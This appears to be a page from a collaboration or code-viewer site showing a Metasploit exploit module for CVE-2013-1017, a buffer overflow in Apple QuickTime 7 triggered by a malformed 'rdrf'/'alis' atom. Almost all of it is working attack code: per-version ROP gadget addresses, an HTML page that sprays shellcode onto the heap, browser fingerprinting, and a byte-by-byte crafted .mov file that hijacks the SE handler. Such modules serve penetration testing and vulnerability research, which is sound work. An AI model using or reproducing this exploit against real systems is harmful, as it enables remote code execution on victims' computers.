Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/browser/apple_quicktime_rdrf.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::HttpServer::HTML9include Msf::Exploit::RopDb1011def initialize(info={})12super(update_info(info,13'Name' => "Apple Quicktime 7 Invalid Atom Length Buffer Overflow",14'Description' => %q{15This module exploits a vulnerability found in Apple Quicktime. The flaw is16triggered when Quicktime fails to properly handle the data length for certain17atoms such as 'rdrf' or 'dref' in the Alis record, which may result a buffer18overflow by loading a specially crafted .mov file, and allows arbitrary19code execution under the context of the current user.20},21'License' => MSF_LICENSE,22'Author' =>23[24'Jason Kratzer', # Original Discovery & PoC (overlapped finding), aka pyoor25'Tom Gallagher', # Original Discovery (overlapped)26'Paul Bates', # Original Discovery (overlapped)27'sinn3r' # Metasploit28],29'References' =>30[31[ 'CVE', '2013-1017' ],32[ 'OSVDB', '93625' ],33[ 'BID', '60097' ],34[ 'URL', 'http://support.apple.com/kb/HT5770' ],35[ 'ZDI', '13-110' ]36],37'Platform' => 'win',38'Targets' =>39[40# All of the following addresses are from Quicktime.qts41# RET = ADD ESP,280; RET, Nop = RET, Pop = POP ESP; RET42[ 'Quicktime 7.7.3 with IE 8 on Windows XP SP3', {'Ret' => 0x66923467, 'Nop' => 0x6692346d, 'Pop' => 0x66849239} ],43[ 'Quicktime 7.7.2 with IE 8 on Windows XP SP3', {'Ret' => 0x669211C7, 'Nop' => 0x669211CD, 'Pop' => 0x668C5B55} ],44[ 'Quicktime 7.7.1 with IE 8 on Windows XP SP3', {'Ret' => 0x66920D67, 'Nop' => 0x66920D6D, 'Pop' => 0x66849259} ],45[ 'Quicktime 7.7.0 with IE 8 on Windows XP SP3', {'Ret' => 0x66920BD7, 'Nop' => 0x66920BDD, 'Pop' => 0x668E963A} ]46],47'Payload' =>48{49'BadChars' => "\x00" # js_property_spray no like nilz50},51'DefaultOptions' =>52{53'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'54},55'Privileged' => false,56'DisclosureDate' => '2013-05-22'57))58end5960def get_payload(t)61alignment = "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -350062p = generate_rop_payload('msvcrt', alignment + payload.encoded, {'target'=>'xp'})63return p64end656667def targetable?(agent)68if agent =~ /MSIE 8\.0/ and agent =~ /Windows NT 5\.1/69return true70elsif agent =~ /contype/71# contype: a mov file request from Apple Quicktime72return true73end7475false76end777879def get_html(t)80js_p = ::Rex::Text.to_unescape(get_payload(t), ::Rex::Arch.endian(t.arch))81fake_mov_name = rand_text_alpha(4) + ".mov"82html = %Q|83<html>84<head>85<script>86#{js_property_spray}8788var s = unescape("#{js_p}");89sprayHeap({shellcode:s});90</script>91</head>92<body>93<embed src="#{get_resource}/#{fake_mov_name}" width="0" height="0"></embed>94</body>95</html>96|9798html.gsub(/^ {4}/, '')99end100101102def on_request_uri(cli, request)103agent = request.headers['User-Agent']104print_status("Requesting: #{request.uri}")105106unless targetable?(agent)107print_error("Browser not supported, sending 404: #{agent}")108send_not_found(cli)109return110end111112print_status("Target selected as: #{target.name}") if target113114if request.uri =~ /\.mov$/115print_status("Sending specially crafted .mov file")116send_response(cli, @exploit, { 'Content-Type' => 'application/octet-stream' })117else118html = get_html(target)119send_response(cli, html, { 'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache' })120end121end122123def sort_bytes(data)124data.map { |e| [e].pack('N').scan(/../).reverse.join }.join125end126127def rop_nop(t)128[t['Nop']].pack('V*') # Ret (QuickTime.qts)129end130131def exploit132buf = ''133buf << rand_text_alpha(467) # 467 to align the pivot13410.times {135buf << rop_nop(target)136}137buf << [138target['Pop'], # POP ESP; RET (QuickTime.qts)1390x20302020 # Target value for ESP (our ROP payload)140].pack('V*')141buf << rand_text_alpha(611 - buf.length) # Offset 611 to hit SE Handler142buf << sort_bytes([target.ret]) # ADD ESP,280; RET (QuickTime.qts) - pivot143buf << rand_text_alpha(658 - buf.length) # 658 bytes to pad up the mov file size144145# Quicktime File Format Specifications:146# https://developer.apple.com/standards/qtff-2001.pdf147mov = "\x00\x00\x06\xDF" # File size148mov << "moov" # Movie atom149mov << "\x00\x00\x06\xD7" # size (1751d)150mov << "rmra" # Reference Movie atom151mov << "\x00\x00\x06\xCF" # size (1743d)152mov << "rmda" # rmda atom153mov << "\x00\x00\x06\xBF" # size (1727d)154mov << "rdrf" # Data reference atom155mov << "\x00\x00\x00\x00" # size set to 0156mov << "alis" # Data reference type: FS alias record157mov << "\x00\x00\x06\xAA" # Size (1706d)158mov << rand_text_alpha(8)159mov << "\x00\x00\x06\x61" # Size (1633d)160mov << rand_text_alpha(38)161mov << "\x12"162mov << rand_text_alpha(81)163mov << "\xFF\xFF"164mov << rand_text_alpha(18)165mov << "\x00\x08" # Size (8d)166mov << rand_text_alpha(8)167mov << "\x00\x00"168mov << "\x00\x08" # Size (8d)169mov << rand_text_alpha(8)170mov << "\x00\x00"171mov << "\x00\x26" # Size (38d)172mov << rand_text_alpha(38)173mov << "\x00\x0F\x00\x0E"174mov << "AA" # Size (must be invalid)175mov << rand_text_alpha(12)176mov << "\x00\x12\x00\x21"177mov << rand_text_alpha(36)178mov << "\x00"179mov << "\x0F\x33"180mov << rand_text_alpha(17)181mov << "\x02\xF4" # Size (756h)182mov << rand_text_alpha(756)183mov << "\xFF\xFF\x00\x00\x00"184mov << buf185186@exploit = mov187super188end189end190191192